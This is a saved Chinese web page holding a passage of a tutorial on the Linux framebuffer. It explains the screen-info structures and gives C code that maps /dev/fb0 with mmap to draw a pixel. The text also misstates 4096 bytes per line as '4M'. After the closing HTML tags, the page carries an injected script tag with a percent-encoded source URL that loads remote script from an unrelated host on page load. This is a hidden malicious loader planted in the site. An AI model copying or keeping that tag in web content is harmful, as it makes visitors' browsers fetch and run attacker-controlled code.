📄 对framebuffer的研究app.htm
字号:
printf("Error reading variable
information\n");<BR>
exit(3);<BR> }<BR><BR> printf("The mem is
:%d\n",finfo.smem_len);<BR> printf("The line_length is
:%d\n",finfo.line_length);<BR> printf("The xres is
:%d\n",vinfo.xres);<BR> printf("The yres is
:%d\n",vinfo.yres);<BR> printf("bits_per_pixel is
:%d\n",vinfo.bits_per_pixel);<BR> close
(fp);<BR>}<BR><BR>struct fb_var_screeninfo 和 struct fb_fix_screeninfo
两个数据结构是在/usr/include/linux/fb.h中定义的,里面有些有趣的值:(都是无符号32位的整数)<BR>在fb_fix_screeninfo中有<BR>__u32
smem_len 是这个/dev/fb0的大小,也就是内存大小。<BR>__u32 line_length
是屏幕上一行的点在内存中占有的空间,不是一行上的点数。<BR>在fb_var_screeninfo 中有<BR>__u32 xres ,__u32 yres
是x和y方向的分辨率,就是两个方向上的点数。<BR>__u32 bits_per_pixel
是每一点占有的内存空间。<BR><BR>把上面的程序编译以后运行,在我的机器上的结果如下:<BR>The mem is :6291456<BR>The
line_length is :4096<BR>The xres is :1024<BR>The yres is :768<BR>bits_per_pixel
is :32<BR><BR>
内存长度恰好是6M,每行占有4M的空间,分辨率是1024x768,色彩深度是32位。细心的你可能已经发现有些不对。屏幕上的点有1024x768=
786432个,每个点占有32比特。屏幕一共的占有内存数为32x786432=25165824
就是3145728字节,恰好是3M但是上面的程序告诉我们有6M的存储空间。这是因为在现代的图形系统中大多有缓冲技术,显存中存有两页屏幕数据,这是方便快速的改变屏幕内容实现动画之类比较高的要求。关于这种缓冲技术有点复杂,我们目前先不讨论。对于我们来说只有这3M内存来存放这一个屏幕的颜色数据。<BR>
好了,现在你应该对FrameBuffer有一个大概的了解了吧。那么接下来你一定会想在屏幕上画一些东西,让我们先从画一个点开始吧。先说说我的想法:在类Unix系统中,一切东西都是文件。我们对屏幕的读写就可以转换成对/dev/fb0的读写。那么就把/dev/fb0用open打开,再用
lseek定位要读写的位置,最后调用read或者write来操作。通过这么一大段的操作我们才完成了对一个点的读或者写。这种方法开销太大了。还有一种方法,我们把/dev/fb0映射到程序进程的内存空间中来,然后得到一个指向这段存储空间的指针,这样就可以方便的读写了。但是我们要知道能映射多少和该映射多少,这能很方便的从上面一个程序得出的参数来决定。<BR>下面是程序代码:<BR><BR>#include
<unistd.h><BR>#include <stdio.h><BR>#include
<fcntl.h><BR>#include <linux/fb.h><BR>#include
<sys/mman.h><BR><BR>int main () {<BR> int
fp=0;<BR> struct fb_var_screeninfo
vinfo;<BR> struct fb_fix_screeninfo
finfo;<BR> long screensize=0;<BR> char *fbp
= 0;<BR> int x = 0, y = 0;<BR> long location
= 0;<BR> fp = open
("/dev/fb0",O_RDWR);<BR><BR> if (fp <
0){<BR> printf("Error : Can not open
framebuffer device\n");<BR>
exit(1);<BR> }<BR><BR> if
(ioctl(fp,FBIOGET_FSCREENINFO,&finfo)){<BR>
printf("Error reading fixed
information\n");<BR>
exit(2);<BR> }<BR> <BR> if
(ioctl(fp,FBIOGET_VSCREENINFO,&vinfo)){<BR>
printf("Error reading variable
information\n");<BR>
exit(3);<BR> }<BR><BR>
screensize = vinfo.xres * vinfo.yres * vinfo.bits_per_pixel /
8;<BR>
/*这就是把fp所指的文件中从开始到screensize大小的内容给映射出来,得到一个指向这块空间的指针*/<BR> fbp
=(char *) mmap (0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED,
fp,0);<BR> if ((int) fbp == -1)<BR>
{<BR>
printf ("Error: failed to map framebuffer device to
memory.\n");<BR>
exit (4);<BR>
}<BR>/*这是你想画的点的位置坐标,(0,0)点在屏幕左上角*/<BR> x =
100;<BR> y = 100;<BR>
location = x * (vinfo.bits_per_pixel / 8) + y *
finfo.line_length;<BR><BR> *(fbp + location) = 100;
/* 蓝色的色深 */
/*直接赋值来改变屏幕上某点的颜色*/<BR> *(fbp + location + 1) = 15; /*
绿色的色深*/ <BR> *(fbp + location +
2) = 200; /* 红色的色深*/
<BR> *(fbp + location + 3) = 0;
/* 是否透明*/ <BR> munmap (fbp,
screensize); /*解除映射*/<BR> close (fp);
/*关闭文件*/<BR>
return 0;<BR><BR>}<BR><BR>
因为这是对线性存储空间的读写,所以代码有点不清晰,不易理解。但是有了这个基本的代码实现,我们可以很容易写一些DrawPoint之类的函数去包装一下低层的对线性存储空间的读写。但是有了画点的程序,再写出画线画圆的函数就不是非常困难了。<BR><BR>
这些就是我对FrameBuffer的初步研究,匆忙之间写些东西不成文章,以后要写些更高级一点的函数的实现。</SPAN></DIV></DIV>
<DIV align=right><SPAN id=LbPreviousArticle><A title=Solaris小手册
href="http://www.fish888.com/Solaris-t120969">Solaris小手册</A></SPAN>:【上一篇】<BR><SPAN
id=LbNextArticle><A title=如何利用北斗搜索快速找到最适合您的软件
href="http://www.fish888.com/-t120971">如何利用北斗搜索快速找到最适合您的软件</A></SPAN>:【下一篇】
</DIV>
<DIV></DIV></DIV></DIV>
<DIV class=DIVChannel><B>【相关文章】</B> <BR>
<LI><A title="Framebuffer HOWTO"
href="http://www.fish888.com/Framebuffer-HOWTO-t120933">Framebuffer HOWTO</A>
<LI><A title=">>FrameBuffer驱动全篇zz"
href="http://www.fish888.com/FrameBuffer-zz-t120743">>>FrameBuffer驱动全篇zz</A>
<LI><A title="Framebuffer HOWTO 1"
href="http://www.fish888.com/Framebuffer-HOWTO-1-t119725">Framebuffer HOWTO
1</A>
<LI><A title="Framebuffer HowTo 2"
href="http://www.fish888.com/Framebuffer-HowTo-2-t119724">Framebuffer HowTo
2</A>
<LI><A title="学习linux framebuffer遇到的一些词汇的理解"
href="http://www.fish888.com/linux-framebuffer-t110534">学习linux
framebuffer遇到的一些词汇的理解</A>
<LI><A title=与afreez一起学习DirectFB之:一个linux下的framebuffer例子的学问
href="http://www.fish888.com/afreez-DirectFB-linux-framebuffer-t110224">与afreez一起学习DirectFB之:一个linux下的framebuffer例子的学问</A>
<LI><A title=与afreez一起学习DirectFB之:framebuffer相关基础
href="http://www.fish888.com/afreez-DirectFB-framebuffer-t109416">与afreez一起学习DirectFB之:framebuffer相关基础</A>
<LI><A title=关于FrameBuffer
href="http://www.fish888.com/FrameBuffer-t108414">关于FrameBuffer</A>
<LI><A title=在linux下如何启用framebuffer
href="http://www.fish888.com/linux-framebuffer-t106849">在linux下如何启用framebuffer</A>
<LI><A title=Debian下关于console于framebuffer的问题
href="http://www.fish888.com/Debian-console-framebuffer-t63702">Debian下关于console于framebuffer的问题</A>
<SPAN id=LbRelatedArticle></SPAN></LI></DIV>
<DIV class=DIVChannel
style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 4px; PADDING-TOP: 0px; BACKGROUND-COLOR: #ffffff">
<DIV style="PADDING-LEFT: 10px"><B>【相关评论】</B></DIV><SPAN
id=LbComment>没有相关评论</SPAN>
<DIV class=DIVCommentTop>【发表评论】</DIV>
<DIV class=DIVCommentBody>
<FORM id=FComment name=FComment action=ShowArticle.aspx method=post><INPUT
type=hidden value=120970 name=ArticleID> 姓名:<INPUT id=UserName
name=UserName><BR>邮件:<INPUT id=Email name=Email><BR>随机码<SPAN
style="COLOR: #ff0000">*</SPAN>:<INPUT id=ValidateNumber name=ValidateNumber>
<IMG src="对FrameBuffer的研究.files/RndImg.gif"><BR>评论<SPAN
style="COLOR: #ff0000">*</SPAN>:<TEXTAREA id=Content name=Content rows=6 cols=40></TEXTAREA><BR> <INPUT style="HEIGHT: 20px" onclick="return CheckFComment();" type=submit value="发 表" name=submit>
</FORM></DIV></DIV></DIV>
<DIV class=DIVFooter>| <A
href="http://www.fish888.com/default.aspx">首 页</A> | <A
href="http://www.fish888.com/CopyRight.aspx">版权声明</A> | 联系我们
<IMG src="对FrameBuffer的研究.files/contact.gif"> | <A
href="http://www.fish888.com/SiteMap.aspx">网站地图</A> |<A
href="http://www.29998563.cn/">it</A> <BR>CopyRight ©
2004-2007 软讯网络 All Rigths Reserved. </DIV></HTM></BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -